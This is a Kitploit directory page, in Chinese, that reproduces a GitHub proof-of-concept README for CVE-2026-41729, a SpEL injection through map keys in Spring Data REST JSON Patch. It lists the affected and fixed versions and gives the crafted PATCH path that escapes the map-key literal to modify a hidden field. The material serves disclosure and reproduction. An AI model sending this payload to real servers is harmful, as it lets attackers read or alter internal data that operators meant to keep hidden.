Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-41729 — CVE-2026-41729 PoC | Kitploit
工具/GitHubGitHub/daehyuh/cve-2026-41729
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubdaehyuh/cve-2026-41729

CVE-2026-41729

CVE-2026-41729 PoC

查看仓库
53个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-41729: Spring Data REST JSON Patch Map Key SpEL Injection PoC

此存储库是Spring官方安全公告公开的 CVE-2026-41729 的最小复现PoC。

  • 官方公告:https://spring.io/security/cve-2026-41729/
  • 官方标题:Spring Data REST SpEL Injection via Map Key in JSON Patch
  • 严重级别:High
  • CVSS v3.1:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • 公开日期:2026-06-09

漏洞摘要

Spring Data REST在处理JSON Patch请求(Content-Type: application/json-patch+json)时,存在将map类型属性的map key路径片段直接插入SpEL表达式的问题。

根据官方公告,如果persistent entity暴露了Map类型属性,且攻击者能够对该item resource发送PATCH请求,则可以操纵map key segment,使其跳出预期的map indexer literal,从而在aggregate root上下文中评估SpEL子表达式。官方公布称,read patch path和write patch path均受影响。

该PoC利用write patch path,展示了通常情况下不在REST表示中暴露的 @JsonIgnore 字段如何通过精心构造的JSON Patch路径被修改。

影响范围

官方公告中受影响的产品:

  • Spring Data REST

受影响版本:

  • 3.7.0 - 3.7.19
  • 4.3.0 - 4.3.16
  • 4.4.0 - 4.4.14
  • 4.5.0 - 4.5.11
  • 5.0.0 - 5.0.5
  • 不再支持的旧版本也可能受到影响

修复版本:

  • 3.7.20
  • 4.3.17
  • 4.4.15
  • 4.5.12 或 4.5.11.1
  • 5.0.6 或 5.0.5.1

该PoC展示的内容

测试会启动一个实际的Spring Boot应用程序,并向Spring Data REST repository endpoint发送HTTP PATCH 请求。

领域对象具有以下结构:

  • 对外暴露的 people map
  • 存在于每个 Person 内部、但被Jackson/Spring Data REST表示隐藏的 hiddenChildren map

在普通REST响应中,hiddenChildren及其内部值是不可见的。

GET /wrappers/sample

直接指定隐藏属性的JSON Patch请求将被拒绝。

PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a/hiddenChildren/b/name",
    "value": "after"
  }
]

但如果使用精心构造的map key,则可以在Spring Data REST的JSON Patch路径到SpEL路径的转换过程中,跳出预期的map key literal,进而触及隐藏的属性路径。

PATCH /wrappers/sample
Content-Type: application/json-patch+json

[
  {
    "op": "replace",
    "path": "/people/a'].hiddenChildren['b/name",
    "value": "after"
  }
]

在受影响版本中,此请求会成功,内部值将变为:

before -> after

测试确认了map中并没有创建名为 a'].hiddenChildren['b 的实际key,而是由于表达式逃逸导致隐藏的属性路径被修改。

运行方法

Windows:

.\mvnw.cmd test

macOS/Linux:

./mvnw test

在受影响版本下预期的结果:

Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS

测试成功表示“漏洞行为已被复现”。即,在存在漏洞的依赖中,精心构造的JSON Patch请求成功执行,证明了隐藏的内部状态被修改。

使用的依赖

此存储库使用Spring Boot 3.5.14 作为父项目,该组合解析得到 spring-data-rest-webmvc 4.5.11。这属于官方公告受影响范围 4.5.0 - 4.5.11 内。

为什么危险

能够向Spring Data REST endpoint发送JSON Patch请求的攻击者可以操纵map key,诱使服务器端执行非预期的SpEL路径评估。其结果是,应用程序本不想通过REST表示暴露的对象图中的内部值可能被读取或修改。

官方公告将机密性和完整性影响评估为High。

Credit

官方Spring公告中记录如下:

  • Daehyun Kang(@daehyuh)

参考链接

  • Spring官方公告:https://spring.io/security/cve-2026-41729/
  • CVSS计算器:https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N&version=3.1
下载工具